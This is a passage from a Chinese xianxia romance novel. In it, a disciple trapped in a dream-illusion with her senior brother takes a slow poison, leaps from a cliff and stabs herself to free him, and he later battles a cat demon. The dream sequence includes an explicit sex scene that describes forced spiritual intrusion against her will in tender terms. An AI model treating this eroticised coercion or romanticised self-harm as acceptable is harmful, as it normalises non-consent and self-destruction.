柳观春推开门,她看到屋中站立的男人。 一身白衣玉冠,面如冠玉,连飞雪都钟情他。 柔柔的雪絮吹过江暮雪无暇的衣袖,流风回雪,般般入画。 江暮雪一如既往干净无瑕,不容人染指。柳观春看着他,忽然笑了。 她喊他:“江师兄,好久不见。” 江暮雪轻皱眉,似有疑惑:"师妹?" 柳观春却没心情同这个幻境里的夫君寒暄了。 她握紧手中剑,步步紧逼。 她说:“师兄,看着我。” "师兄,我不是唐婉,我是柳观春。" 她要让江暮雪厌恶,要让江暮雪唾弃,她要从这个幻境逃离,她要粉碎这一切,她要让所有美好的记忆失常。柳观春………决定抛弃江暮雪。 她靠近他,踮脚,手指搭上男人洁白的衣襟,她拽他靠近。等江暮雪错愕低头,柳观春的目光落在他寡情薄意的唇上。他的唇竟也是红的,比眉心守元印都要艳。柳观春下定决心毁掉这一切。如果这是幻境,那么江暮雪亲眼目睹他被一个外门女弟子轻薄,他一定会震怒,从而导致幻境失常。思及至此,柳观春闭上眼。 “师兄,你看清楚,我是谁….…我是柳观春……”柳观春的眼睫轻颤,鼓足勇气吻了上去。江暮雪的唇好凉,和他的手一样凉。他躲不开,他被迫承受。只是浅尝辄止的一个吻,柳观春没有过多留恋。可就在她吻了江暮雪的一瞬间,幻境破碎,风雪骤起,剑气澎湃。 柳观春忽然觉得心腑一阵钻心的痛,她看到自己的腕骨里有黑血涌动……除了幻境以外,她还中了其他招数! 柳观春喷出一口血,意识涣散,陷入昏迷。柳观春想,这番话,她想对江暮雪说,想了好久。可惜,眼前的男人,只是大魔塑造出的幻境假象。可她不知的是……眼前之人,并非幻影,而是真正的江暮雪。江暮雪在莲花镇中开路。他时刻看顾柳观春,谨防她境界低微,陷入幻境。 而江暮雪生来有“破妄”神技,他不会为任何幻境所迷惑。 只是此为修士底牌,他从来不曾告知外人,就连他的师尊都不知此事。 幼时,江暮雪能透过皇贵妃的红粉皮囊,看出她的九尾狐真身。 长大后,随着他的修行精进,他还能破开所有妄图迷惑他的幻阵、梦阵,他不会被任何幻术蛊惑,他能认清所有术法伪造的皮囊之下的真身。 当江暮雪发现柳观春陷入幻境之中,他有意去引导她破阵。 可是,不知柳观春看到了什么,将他认成什么人,她竟直直朝他走来。 江暮雪看到柳观春含泪,看到她一脸哭相,非要笑着说话。 他看到她忽然喊自己“师兄”。 他看到她忽然踮脚,与他气息相织。 柳观春伶仃的臂骨抬起,揽住江暮雪的颈子,拽住他的衣襟,她一遍遍告诉他:“我是柳观春,师兄,看清我……”守元印明灭不定,红光灼灼。 直到柳观春吻上他.……她拉他坠下神坛,她将一个柔软的吻印在他的唇角。 放肆! 她怎么敢… 江暮雪终于推开了她。 20、下山(十)... 第二十章 不知为何,柳观春明明吻了幻象里的江暮雪,可她却还不能从这个幻境里逃脱。 她看到有蛊虫在手臂中涌动,不住往胸膛处攀爬……柳观春意识到,她不止中了幻术,她还中了大魔设下的蛊阵! 大魔想将她困死在这里! 柳观春的心肺剧痛无比,双脚又陷进厚厚一层白雪之中,她整个人被霜雪冰封,眼皮也沉重无比。 柳观春困倦地闭上眼,倒在了雪地里。 这一次,她又做梦了。她梦到迷魂梦阵里的那七年。 彼时,她已是江暮雪的妻子,她与他喜结连理,成了亲密无间的夫妻。 柳观春顶着唐婉的脸,日夜小心地陪伴江暮雪。 但好在,师兄性情温蔼,即便柳观春偶有不对劲,他也全不在意,柔善地包容。 只是…… 每到夜里,柳观春总觉得师兄一身的凶相。 她跌进红尘幔帐,身上不着丝缕。 受凉的膝盖屈起,后臀被江暮雪一只宽厚的手托举,被迫缠上他。 男人的窄腰肌理冷硬,总是磨得她,膝盖发红。 就连腿.侧的一层薄肉都泛起酸麻的痛感。 柳观春杏眸含泪,失神地仰望床帐。 偶尔,她会伸手去碰江暮雪的眉心,明明只是幻境,可他额上的守元印却光芒黯淡,若隐若现…每到这种时候,柳观春的心里就会涌起一种难言的罪恶感。她是不是把江暮雪拉下神坛了?她是不是毁了他? 直到男人滚沸的指骨蜷起,抵在她的下颌软.肉。“专心。”他不喜她总看旁处。 柳观春眨眨眼:“不要遮住我的眼睛。” 她不喜欢陷进黑暗里。 隐隐的,她好像听到师兄叹气了。 江暮雪一双凤眸灼热,拇指在她的唇上碾压,指腹擦过少女不平的唇纹。 他又吻上她,细细绞着柳观春口中柔腻的舌,翻来覆去地吮,直到柳观春声音颤抖,眼角染出芙蓉色。 仅仅是气息交织,两具身躯相覆,用力蹂/躏,交叠为一体。 如此抵死缠绵,江暮雪却觉得,似乎还不够尽兴。 随之,柳观春的腰.窝一仰,紧绷绷的,她受到冲击,檀口微张。 柳观春感受到一股外来的灵力,强硬地沿着她的清明灵台,侵进不可触碰之地。 男人的神识在她的髓海中掀起滔天巨浪,强行破开她灵域的关口。 长驱直入,直捣黄龙。 江暮雪的神识霸占着柳观春的四肢百骸,不止是肉.身上的契合,就连她的内里灵域,他也要独占,染上自己的气息。元婴修士的神识澎湃而强大,没有了无情道守元印的束缚,江暮雪犹如猛虎下山、蛟龙出海,半点不顾及柳观春这具连灵基都没筑造的脆弱身体。没有人教过柳观春,何为神交,何为修士间的双修,何为抵抗对方的神识入侵。她不知道即便双修,江暮雪也不可进得太凶,侵得太深,更不能罔顾她的意愿,直接挤,进她的髓海,强制操控她的灵府意识。他在欺负她懵懂。 江暮雪从这一刻开始,有了恶念。 柳观春迷迷糊糊地感受,她只是一张白纸,她只能无措地接受这些江暮雪给她带来的浪潮,她只是惶恐不安地忍耐,心里害怕,身上迎合,直到她偏头,看到江暮雪与她相扣的手指。师兄的手白净如玉,很合适执剑 但其实,执剑时的江暮雪神情肃穆,杀气腾腾,通体凛若冰霜,并不好亲近。 可是,冷漠的师兄会在床笫间,与柳观春十指相扣,掌心相贴,不厌其烦地安抚她。 江暮雪身上很香,雪气甘冽。 江暮雪不会伤害她。 柳观春渐渐冷静下来。 …… 每次行房后,柳观春的丹田都热热的。 她不知是不是江暮雪的灵力有滋润髓海的功效,即便是霸道的双修,她也并不觉得有多么不适。 而且江暮雪是个很好的夫君,他会抱她去沐浴更衣,会用灵力控制水温,不让柳观春的洗澡水变凉,以免她这具凡躯会冻着。 柳观春每日看到一脉脉独属于雪灵根的灵流环绕着木桶,实在觉得暴殄天物。 灵流可以助长修为,可以疗伤凝血,偏偏江暮雪要拿来加热洗澡水,这也太铺张浪费了。 另一方面,柳观春的心脏又开始一寸寸紧缩,皱巴得不成样子,好似一颗风干的酸橘子。 柳观春苦涩地想:师兄原来这么喜欢唐婉师姐啊,他们真是天造地设的一双人……她不该横插一脚。 她好卑鄙。 柳观春心存愧疚,江暮雪待她越好,她越觉得自己厚颜无耻。 柳观春按照唐玄风教的方式,去触碰大师兄的心口,她确认江暮雪的心魄已经归体。 可他还是沉溺梦境,不愿清醒。 或许,是时候结束这一切了。 柳观春既然没办法让江暮雪主动醒来,只能她从旁助力了。 柳观春本来想着,先唤醒师兄,再让梦境崩塌,这样一来她自然而然就能回到现实。 可师兄不愿意醒来,为今之计,就只能让柳观春先逃出这个梦阵。 柳观春还有一个下下策,那就是拿出掌门唐玄风送她的锦囊,服下里面的碎心丹。 碎心丹能让柳观春死在幻境里,却不会真正杀死柳观春,至多只是对她的身体造成损伤,给她带来灭顶的痛楚。 毕竟柳观春是以人身入梦境,她不像其他修士那样,可以用神识遁逃。 她想出梦境,唯有此身消亡。 而碎心丹,就是一味很好的假死药。它会护着她的髓海,保她出阵以后还能苟延残喘上一阵日子。 唐玄风承诺过,柳观春一出迷魂梦阵,他会马上给她疗伤的丹药,不仅如此,还会赠予她足够筑基的修为。 无非忍一忍痛楚,比孤独死在异世要好得多,柳观春觉得她可以忍受。 最爱的妻子死在眼前,足以让江暮雪的梦阵涣散。 之前,柳观春原以为成亲就是江暮雪的心愿,他心愿得偿,他会放她离开。可是柳观春想错了,江暮雪娶了唐婉,反倒觉得美满,他更舍不得离开这个梦阵了。他好爱唐婉。 柳观春叹了一口气,她服下碎心丹。 丹药服下的一瞬间,柳观春的小腹涌起丝丝疼痛,毒素在她的经脉里流窜。 柳观春能感受到自己的身体逐渐变得衰弱,她至多只能活三个月了。 这是柳观春待在迷魂梦阵中的第七年。 她原来当过江暮雪七年的妻子啊。 风雪夜里,柳观春看着远处还在炖姜汤给她暖身子的江暮雪,不知为何,她的鼻尖有点酸,心口涌起缠痛。 柳观春安抚自己,这是丹药引起的痛感。 可她心知肚明,她好像……对江暮雪动情了。 幸福的日子总是如此短暂,她会慢慢衰老、慢慢死去,她会死在大师兄面前,她会亲自粉碎他的美梦。 但是江暮雪不会怪她的。 因为他能逃出这个梦魇,他能在异世里和唐婉师姐真正结合,他的美梦终会成真。 被留下来的,唯有柳观春一人。 柳观春想让江暮雪在最后三个月里过得幸福一点。 这是她最后能送给师兄的礼物。 柳观春旁敲侧击问出江暮雪的生辰。 师兄的生日,恰好是冬季。 柳观春下山赶集的时候,特地去买了羊奶制的酥酪,又买了鸡蛋、牛乳、菜籽油、面粉,以及应季的水果。 她想给师兄烤一个蛋糕,为他庆生。 柳观春故意和江暮雪说,她想要一床新织的棉花被。新被子蓬松柔软,睡起来很舒服。江暮雪不会拒绝妻子的请求,趁着师兄下山买被子的时候,柳观春运用术法与风符护住炉子,开始烤蛋糕。虽然古代没有搅拌乳酪的用具,但柳观春有术法,可以让勺子运作得很快。 黄澄澄的蛋糕胚出炉,虽然长得很像一块方方正正的糕饼,但抹上酥酪和半成品奶油,再铺上一层甜津津的山果,也算是有模有样的糕点了。 等江暮雪到家,柳观春故意拦在他面前,命令他:“师兄,闭上眼睛。” 江暮雪不解,但他见妻子神情认真,只能照做。 柳观春牵着他,一步步往屋里走。 柳观春以为,只要闭上双眼,江暮雪就看不到外物。 但江暮雪早已修至元婴,再进一步便是大道剑尊,又怎会不能以神识窥物? 至多是没有肉眼那般能看清纹理,但大致的人与事还是能分清的。 他被柳观春牵着,指骨相触之地,摸到了一片烫出的水泡。 江暮雪怔住。 待柳观春喊他睁开眼,他看到了灶台旁边那一块涂满乳酪的糕饼。 柳观春略带羞赧地道:"师兄,生辰快乐!" 少女说这话时,杏眸明亮如星,笑颜娇艳如花,她静静等待江暮雪回应。可江暮雪只是垂下眼睫,屋外风雪肆虐,他静默如常,不知该说什么。他从来不过生日。 因他出生有异,皇贵妃称他为邪祟,是天降灾祸。 没有人会给邪崇庆生。 柳观春忐忑不安,她又小声喊了句:"师兄,你不喜欢吗?" 江暮雪抬眸看她一眼。 柳观春的笑一点点落下,没等她收起蛋糕,一个凉凉的吻忽然落在她的嘴角。 柳观春惊讶地抬头。 江暮雪倾身,扶着她的腰,吻得更深。 …… 其实柳观春的蛋糕烤得并不好,底部还有些焦糊,但江暮雪不嫌,师兄慢条斯理吃完了她准备的吃食。 柳观春心里高兴,她坐在桌旁和江暮雪说话。 "师兄,这是我……从凡间听来的,他们生辰会烤这种糕吃。"“他们还会把蜡烛制成细细的,插在糕上,许愿后再吹熄。” 江暮雪放下筷子:“会实现吗?” 柳观春:“什么?” “愿望。”他淡道。 柳观春扬唇一笑:“当然会,生日那天寿星最大,诸天神佛都会庇佑寿星的。” 江暮雪垂眸想了一会儿,竟动用术法凝出一支蜡烛。 他把燃好的蜡烛插在剩余的糕上,闭眼许愿。 柳观春呆呆地看着,她只能看到师兄眉心那一颗守元印渐渐变暗,几近于无。 她不知他许了什么愿望。 很快,蜡烛被吹熄了。 柳观春还剩下两个月寿命的时候,她开始时不时感到疼痛。 她想,这个丹药还真是阴毒,故意要让她露出痛苦的模样,让江暮雪看着妻子病重却无能为力,然后一直忍受煎熬,从而震碎梦阵。但柳观春不想大师兄那么痛苦,她努力把那些不适都忍下去了,她从随身带来的荷包里摸出止疼的丹丸服下,她谎称自己的虚弱都是因为天气不好。江暮雪不疑有他,即便他用灵力感知,也完全觉察不到柳观春的异样。兴许真的只是天太冷了。 自此之后,梦境里再没有凛冽的冬天,每一日都是阳光明媚的春天。可柳观春的身体还是渐渐衰弱下去,有时候她累得躺在床上,一觉睡到下午才有力气爬起来晒晒太阳。柳观春不知道,原来碎心丹不止是让人的身体迅速衰老,直至器官衰竭,它甚至会让人丧失五感,慢慢陷入绝望,再缓慢死去。 有一天,柳观春睁眼,她发现屋内一片黑暗。 她四处摸索,她以为是天还没亮。 她笑着问:“师兄,我感觉自己都睡好久了,怎么天还是黑的?” 很快,有一双骨相棱棱的手紧握住柳观春的手。 男人沙哑低沉的嗓音传来,是江暮雪说:“师妹,天已经亮了。” 柳观春怔住了,她意识到自己瞎了。 她什么都看不到,她陷进无涯的黑暗中。 恐惧、不安、害怕….…一堆情绪涌上心头,她意识到这枚碎心丹吃下去,她就再没有回头路了。 没人能忍受黑暗世界的孤寂,甚至会求着尽快有个解脱。 可她还有两个月的寿命,她还能再陪伴江暮雪两个月。 “师、师兄,这是我的老毛病了,眼睛不大好,偶尔会看不见的……”她习惯粉饰太平,习惯去安抚旁人,尽管她知道这个借口太过拙劣,江暮雪应该不会信。可她只能说这种话,她想多笑一点,她不想让师兄难过。 江暮雪抱起柳观春,他带她晒太阳,他给她制了一张能够摇晃的藤椅,他还在家中各个地方缠上丝线,这样一来,柳观春就能牵着那些丝线四处走动了。 江暮雪知道柳观春看不见,他说的话比以前多多了。 柳观春知道,师兄是担心她会害怕,她的世界只剩下黑暗,耳朵再寂静的话,她会受不了。 柳观春忽然意识到,让江暮雪看着自己的爱人渐渐死去这一件事,实在太残忍了。 她的生命还剩下一个月,她想早点结束这一切。 死亡的方式有很多种,她可以给师兄留信,可以独自一人离开,只要师兄找不到她,梦境也会坍塌……没必要非得眼睁睁看着她死去。思及至此,柳观春开始物色死亡的地点。 她有一根江暮雪制的木杖,拐杖上凝了术法,没有山精野怪可以靠近她。 趁着江暮雪下山为她采买吃食用物的时候,柳观春就用这根木杖四处敲敲打打,根据花香、草木香、风向,判断四周的环境。 终于,她找到一片离家不远的山崖,从崖底卷上足以掀翻人的狂风,柳观春故意取了一块石头丢下去,哗啦一声,石头被一道激光粉碎,变成沙土。柳观春明白了,这里就是整个梦阵的阵眼。 只要从这里跳下去,兴许不必等到柳观春死去的那一刻,她也能很快从梦阵里离开。 柳观春会给江暮雪留下一封遗书,她会告知他,关于唐婉的死亡。 江暮雪受此打击,他一定会尽快醒过来的。 可是,柳观春还是低估了江暮雪的敏锐程度。 等柳观春站在山崖边上的时候,一道剑光以迅雷不及掩耳之势追来,拦住她。 天地间,风雪漫天,山风料峭。 柳观春听到男人被风吹到猎猎作响的衣袍,她听到清越的剑吟,嗅到江暮雪身上清冽的雪松香味,那样圣洁干净,沁人心脾。 柳观春莫名有点依恋,她竟会舍不得江暮雪。 可是,这一切都是假的啊。 她是假的,江暮雪的柔情是假的,这个世界是假的,那个家也是假的。 她不能、不能再这么狼狈地过日子了。 不是江暮雪该清醒,是她该清醒了! 否则,舍不得离开的人,就会变成柳观春了…柳观春忍住鼻尖的酸涩,她对江暮雪微微一笑。她的眼睛看不到了,她的胸腔也因碎心丹的反噬而剧烈疼痛,她忍下这些不适,她对江暮雪笑得很好看。 她说:“师兄,这里其实不是我的家。”到现在,她还假扮着唐婉,既然躲不开江暮雪,那就完成最后一个任务吧。 让他亲眼看着唐婉赴死,让他从这个迷魂梦阵中解脱。 柳观春说:“不过这七年,我过得很开心。谢谢师兄的照顾,但我该回家了…….” 柳观春不知道应该说什么。 想来也奇怪,她一贯巧舌如簧,她竟也有一天嘴笨至此 她转身,任由山崖卷上来的山风吹动她的衣袍。山风凛冽如刀,割得她脸好疼。 但好在…… “师兄,其实我很怕高的。” “可是我现在看不见,所以我不必怕了,也算是一件很好的事。” 柳观春说完最后一个笑话。 她连坠崖都很乖巧,没有半句抱怨,后仰着跌下山崖。 大风吹起少女的鬓发、吹起她素色的衣袍,她像一颗熄火的流星,重重砸向阵眼。 老实说,这招也是下下策,因为阵眼是由修士的境界幻化。 江暮雪是结婴的修士,可想而知,他的阵眼一定杀气四溢。 可柳观春早已服下碎心丹,丹丸会保她的髓海平静,无论这具身躯受到多少伤害,只要离开梦阵,唐玄风掌门都能让她恢复如初。 柳观春和江暮雪在幻境里度过了幸福的七年,他深爱他的妻子唐婉,如今亲眼目睹唐婉坠崖,他会有痛彻心扉之感,足够江暮雪破开这个梦阵了。 柳观春的使命达成,她也该回到自己的位置,离江暮雪远远的了。 柳观春疲乏地闭上眼。 她什么都看不到,她的世界漆黑无涯,但是她听到耳畔有镜片碎裂的声音。 柳观春欣慰极了,她知道梦阵终于爆裂………师兄得救了。 柳观春不住往下坠落,她以为江暮雪在阵眼处设下的剑阵一定会刺穿她的心脏,粉碎她的肉身。 但没关系,她已经做好遍体鳞伤的准备。 碎心丹能保她不死,只要她逃出梦阵,她就能被唐玄风救回性命。 可是柳观春预想的痛感并没有出现。 风势忽然停止,柳观春悬在半空,停止了下坠的冲势。 没一会儿,她的腕骨被一只泛凉的手拉住。宽大的手抵在她的后腰,江暮雪将她整个人紧紧拥在怀中。柳观春的瞳孔一瞬间放大。她意识到,江暮雪跟着自己一起跳下来了。 江暮雪想救唐婉,他顾不上前方有多少艰难险阻,他永远会朝她伸出手。 梦境碎裂的声音渐渐变弱。 如果柳观春能看见的话,她会知道这个世界已经变成一片荒芜苍白的雪地。 无数梦境被浩瀚的剑气震碎,凝成大小不一的冰晶。 每一片冰晶中都倒映着两人过往的画面,一帧帧回忆闪过,那些记忆如同流光一般,四溢而下,随风坠落。 像烟火、像流星、像熔岩,绚烂多姿,瑰丽又诡谲。 柳观春六神无主,她不知道这算不算破梦… 她傻傻的,一句话都说不出来。 她听到江暮雪剧烈擂动的心跳,她觉察他的剑骨散出的纯净灵流。 那一股灵气撞向无数的冰晶,意图将这些碎片全部拼接回去。可是天地颠倒,梦阵支离破碎,梦阵一旦开始坍塌,便很难修好了。江暮雪还在做无用功。 一瞬间,柳观春明白了什么。 江暮雪在自毁! 他在用自己的修为境界修补这场梦境! 他不会让梦阵破碎,他不会放唐婉离开……他究竟怎么了? 柳观春嗅到一股浓烈的血腥味,她不知道师兄哪里受了伤。 但这种情况分明不对,不对劲,不能这样…. 她没有办法了,她用力推开江暮雪。 趁他失神的瞬间,柳观春握住他的伏雪剑,猛然刺向胸口。 她无可奈何,只能使出这样的招数。 少女的衣袍被殷红血液浸透,血星子溅上江暮雪的脸,终于唤回了江暮雪的神志。 男人的指骨一颤。 柳观春不能保证自己在梦阵中不会死去,所以她即使自伤也不敢下狠手。不过这点伤势,足够让江暮雪停下稳固梦阵的动作。 柳观春惨兮兮地一笑,她对他说:“师兄,我快死了,我不想死在这里。” "师兄,放手吧,放我回家,好不好?" 柳观春想,她不但死在江暮雪面前,她还将他舍下。这样的情伤足够重了,他一定会从梦阵中逃脱。她给不了他大喜,那就给他大悲。 柳观春默默流泪,她一遍遍在恳求他的体谅,她希望他成全。 终于,江暮雪收回了伏雪剑。 他靠近柳观春的耳畔,说了一句话,但风声雪声太大,她没听清。 江暮雪没有再动用灵力修补梦阵,他放任幻境碎裂,放任自己堕落。 柳观春得以解脱。 她松开江暮雪的手,她带着一身伤往阵眼中心砸去。 柳观春什么都看不见,但她知道,江暮雪在最后关头也深爱着妻子。 师兄收起所有恢弘的剑阵,幻化出一个柔软的剑茧,裹附住柳观春。 他护着她逃出梦境。 柳观春身上的伤都被疗愈了,她没有吃很多苦头。 在柳观春的记忆中,这七年,江暮雪直到最后一刻都很温柔。 只是,她后知后觉想起了师兄破阵前说的那句话。 他说— “骗子,愿望没有实现。” "你没有为我……留下来。" 21、下山(十一)... 第二十一章 江暮雪本将柳观春推开。 可她却毫无抵抗能力,径直往后仰去。 蛊虫的邪气漫进口鼻,江暮雪意识到柳观春不但中了幻阵,还中了蛊毒。 柳观春方才那个吻并非有意唐突,她很可能只是把他当成了另一个熟悉的师兄………江暮雪不该怪她。 可偏偏,心里还是有些不快。 江暮雪接住落地的柳观春,任由少女昏睡在自己怀中。 她明显很冷,不止肩膀颤抖,就连眉头都紧锁。 江暮雪的灵流探不进她的经脉,无法为她驱寒,可柳观春的手背鼓起小包,明显是蛊虫入体。倘若柳观春任由蛊虫在体内游走,万一损伤到灵台,灵根损毁,她将会变成一个毫无修炼能力的废人。江暮雪想到柳观春没日没夜辛苦练剑的样子,想到她得到一把本命剑都能欢欣雀跃的样子……兴许连她自己都没发现,她有多喜欢剑。 这样的柳观春,道心坚定,合适修炼,她不该无缘剑道。 一时间,江暮雪的眉心守元印又红光大作,悲悯、同情、怜惜,他道心不稳,心旌摇曳。 一股凶悍澎湃的灵流自他掌心盘踞。 江暮雪并指抵在柳观春的眉心,强行输入纯洁无瑕的灵力。 他鲜少有这样冷硬霸道的时刻,竟完全不管柳观春体内深扎下的雪灵根,硬是将那一脉灵力灌进师妹的体内。 很快,柳观春体内的雪灵根察觉到外物强行涌入的侵略感,极速凝出灵力反击。 “轰——!”两股力量对冲。 柳观春的髓海震荡,掀起万丈浪潮,她痛苦难当,很快口溢鲜血。 江暮雪敛目看她,并无动容,只是抬袖,小心帮她擦去了血迹。 江暮雪的动作再轻柔,心里也没有打算放过柳观春。 既已行事,那便一错到底。 这一次,江暮雪没有心慈手软,他似乎有了一个“庇护师妹不遭到蛊虫伤害”的理由,他终于能纵容自己的欲念横生,他完全不在意那股力量负隅顽抗,直接涌进更多的灵力,与那股占山为王的大能灵流厮杀。 江暮雪三番两次受其挟制,心中早已怨念横流,又怎肯停下手?他一贯如此胜负欲强烈,他今日非要镇住这等寄居在女修体内的宵小灵力! 到底是遗留在少女体内多时的灵流,再强大又怎能及得上江暮雪这样活生生的元婴大能当场释出杀招? 很快,江暮雪的灵识便将其压制,他心中生出戾气稍微减弱。 明明该就此收手,可江暮雪似乎还不知足,仍要执意输入灵力,往柳观春的灵域一探究竟。 男修的灵流涌入少女丹田一事,近乎于神交,即便不过多停留,也会对江暮雪的道心产生阻碍。 但他送佛送到西,既已强行侵体,便要一探到底,如此才知柳观春的雪灵根有没有受损,顺道还能帮她驱出那些钻进体内的蛊虫。 幸好这些蛊虫并非高阶邪物,它们感受到寄生体里的争斗,无处藏身。早在灵力钻进柳观春体内时,受其波及,被两团锋锐的力量焚烧成灰烬。 江暮雪还是窥探了柳观春丹田处的灵域。 他的血脉债张,道心颤动,飘曳不止。 江暮雪额上的守元印隐隐浮出裂痕,道法戒痕自知大事不妙,已散出警告的红芒。 江暮雪体内血液沸腾,剑气翻涌不止,就连伏雪剑也感受到江暮雪僭越的行径,不住发出剑吟,以此告诫江暮雪不要越线。 伏雪剑:疯了吗?再熬个十多年,修成剑尊再择道另修不行么?非要自毁道行救个小娃娃…… 可江暮雪素来强势,也可以说,于修炼一事,他其实十足自负自大,他能保证自己不会伤及柳观春的雪灵根,也能护住自己不会破道。江暮雪谨小慎微,他能避开她丹田内的灵识,阻止神交这种罪事发生。 只是在江暮雪用神识涌进柳观春体内时,他竟有一刻失神。 他在师妹的灵域里看到一片熟悉的苍茫雪地,两缕幽蓝色的神识环绕着雪灵根漂浮游荡…… 这是那个元婴大能留给柳观春的雪灵根,不仅如此,他竟还将自己的神识残存于柳观春的灵域之中,借以标记柳观春,独占她的灵识!即便是道侣神交,也决不会在事后将神识残留在对方体内,此举不亚于凡人交合,却将男子精元残留于女子私处……简直卑劣至极!只是。 江暮雪忍住胸腔泛起的痛感,他凝神分辨……这一抹神识为何如此眼熟? 没等江暮雪查出这一缕神识的来源,体外忽然传来了妖铃震颤的声音。 江暮雪确认柳观春的灵域安然无恙后,迅速撤出神识,收回疗伤的灵流。 江暮雪眉心的守元印渐渐熄灭火光。 清灌秀致的男人睁开眼,凤眸一如既往清寒冷漠。 江暮雪并未破戒,他仍是那个情感淡漠的无情道剑君。 伏雪剑松了一口气。 与此同时,远处浓郁的妖气散开。 黑漆漆的煞气砸向青石地,触地的一瞬间,那团魔气犹如江浪如潮涌至,迅速朝江暮雪的方向蔓延。 江暮雪眉峰微蹙,召剑在手。 他一手托住昏迷的柳观春,另一手快速捏诀结印,布下声势赫赫的剑阵。 数十把巍峨如山的光剑拔地而起,雪意翻涌不休,冲天而起的罡风席卷,吹得江暮雪白袍绚烂如莲绽,于夜幕中猎猎作响。 他将柳观春放置一侧,又幻出剑罩将其护住,避免柳观春受伤。 随后,江暮雪凝神判断妖气浓郁之处,当空破出一剑。 “哗啦!” 锦帛撕裂的声音响起,是江暮雪肃杀的剑尖精准刺中了妖邪。“哈哈哈。”很快,狂妄的笑声传来。 一径径黑烟卷曲成人形。 不过须臾间,那团黑影腾跃上房檐,渐渐显现出妖邪的真身。 是个长相肤丽的少年郎,十六七岁的样子。 乌发如墨倾泻,还用缠绕的红绳打着几根辫子,他一双桃花眼潋滟多情,嘴角微微上翘,即便见到敌人也满脸笑容。 漂亮的少年身姿轻盈,他蹲坐在檐角,和江暮雪热情地打招呼:“江师兄,好久不见啊。” 江暮雪认出眼前之人,他是那个曾潜伏玄剑宗的大魔苏无言。 苏无言引诱唐婉背叛师门,放出幽冥妖魔与仙宗厮杀。仙魔一战中,修士被妖邪屠戮,死伤无数,血流成河。而苏无言明明在此前的大战中受伤遁逃,还不曾休养生息多时,为何又回来寻仇?他不怕力有不逮,极可能死在江暮雪剑下么? 江暮雪不喜魔物,他脸上神情冷峻,凛若冰霜。没等苏无言再问话,男人已提剑再度刺来。 江暮雪肩覆霜雪,两袖盈风,伏雪剑在他的驱使之下,变化无穷,成千上万把薄刃激射而来,犹如地狱的剑树刀山之刑,尽数杀向苏无言。可苏无言好歹是有上千年道行的猫妖,他又吸收了许多魔气,还吸食了那些枉死于他刀下的人躯阳气,怎会躲不开这一套令人眼花缭乱的剑阵?苏无言立马仰身躲闪,魔尊的身手敏捷,于雾霭中穿梭。 时而是矫健猫身,时而是灵巧人身,少年赤足缠绕的两枚银铃铛,随着身形晃动间叮咚作响。 咚咚咚。 铃铛传来致幻魔音,可摧折人的心志。 然而江暮雪墨眸清正,不为所动。 苏无言笑了一声:“原来你不会被幻阵迷惑啊……难怪此前敢开设迷魂梦阵困我,倒是可惜了,我还想给你制造一场唐师姐与你成婚的幻梦呢,你不是喜欢唐婉吗?你一定会很欢喜的。”江暮雪厌恶妖邪,更不喜他妖言惑众。 清矜的修士懒得回话,只一昧搏杀。 江暮雪手中凝霜神剑翻转,以雷霆之势劈开靠近的苏无言。 伏雪剑刚挨到苏无言的妖身,顿时白浪泼翻,扫出一片驱逐魔气的灵流。 自江暮雪为中心,腾升出一片冰霜海域,幽蓝色的业火追着魔气吞噬,逐渐包围住苏无言。 苏无言左支右绌,被人逼进一条窄巷。 少年轻敌,不慎被江暮雪降妖的灵气灼烧,脚踝绑着的铃铛掉了一个。 苏无言不满地拧眉,又见江暮雪一副目无下尘的神色,不免故意刺激他:“难怪唐师姐不喜欢你啊,你这样凶巴巴、冷冰冰的样子,哪个小姑娘会喜欢你的冰块脸?当真晦气。”苏无言好言相劝,可江暮雪依旧提剑缠斗。 再好性子的猫也不免心头火起。 苏无言抽出一把燎绕黑气的长刀,凌空跃起,他以磅礴魔力助势,当空砍向江暮雪的天庭灵台。 江暮雪已是元婴境界,五感敏锐,又怎会没发觉他的袭击。 男人旋身扬袖,风满衣袍,不过腕骨轻挽剑花,风雪覆没,一下子格挡住苏无言压下的刀锋。 轰隆——! 苏无言的刀势气压山河,一下将江暮雪脚下的青石地砖震碎,将他整个人压下地底一寸。可江暮雪的实力也并不弱小,他的肩背挺拔,一手持剑挡住杀招,另一手负于身后,修长如玉的指骨快速捏诀,召出一个杀妖阵法,直直拍向苏无言额头。 江暮雪知道苏无言已是真身厮杀,若是能将他困入降妖阵,保不准就能用剑气将其凌迟成粉屑。 苏无言没想到江暮雪看着木头似的,一声不吭,打起人来竟下手这般狠戾。 他险些被阵法击中,知道缠斗下去必将两败俱伤。 苏无言还有别的计划,他顿时化成一缕青烟,金蝉脱壳跑远。 苏无言舔了两下那只被剑气所伤的猫爪,冷哼一声:“好吧,我不和你斗。我来找你,其实是想和你讨人的。” 苏无言话还没说完,江暮雪已召剑杀来。 苏无言烦不胜烦,四处奔逃。 “你把你身后那个柳观春给我,我就不杀唐婉,怎样?怎么?有了一个唐婉师还不够,还要抢柳观春师妹啊?别这么贪心嘛,分我一个女人而已。”苏无言戏谑的话总算让江暮雪有了一丝反应。 他莫名想到柳观春三番两次喊出口的“师兄”,若论入门时间来说,苏无言确实可以算得上是柳师妹的师兄…… 难道柳观春和苏无言有旧故,她喊的师兄,其实是在唤苏无言? 此等妖邪,果真会迷惑人心。 江暮雪脸色更冷,质问:“你为何与柳观春有牵扯?” 冷不防听到一句男人的话,苏无言错愕地抬头。 他眨眨眼:“我还当你是个哑巴…” “受死!”江暮雪又要提剑杀来,剑势撼天动地,涛澜汹涌。 男人不但没有交出柳观春,他甚至击出一道掌印,将柳观春的剑茧加固得更深。 眼见着男人极宝贝这个柳师妹,死活不肯交出她,苏无言无计可施,只能跃上屋檐。 幸好他早利用蛊虫往柳观春身上下了标记,有了这个印记,即便柳观春身藏仙宗,他也能找到她。 他一提柳观春,江暮雪就杀气腾腾。苏无言更加确定这个柳师妹就是他要找的人。 只是,柳观春和小枣长得一点都不像。 柳观春不是小枣。 那么她应该只是一个普普通通的穿越者。 那就好办了。 苏无言决定杀了柳观春,再将她魂飞魄散,让她从这个世界彻底消失。 如此一来,他的小枣兴许就能再次被天道召进这个异世了。 苏无言欢快地笑了一声,他没有恋战,转身便化作一团黑烟,慢慢消散无踪。 柳观春从梦中苏醒,她浑身都暖洋洋的,低头一看,竟是江师兄将一脉脉灵流注入她的四肢百骸。 江师兄在帮她疗伤。 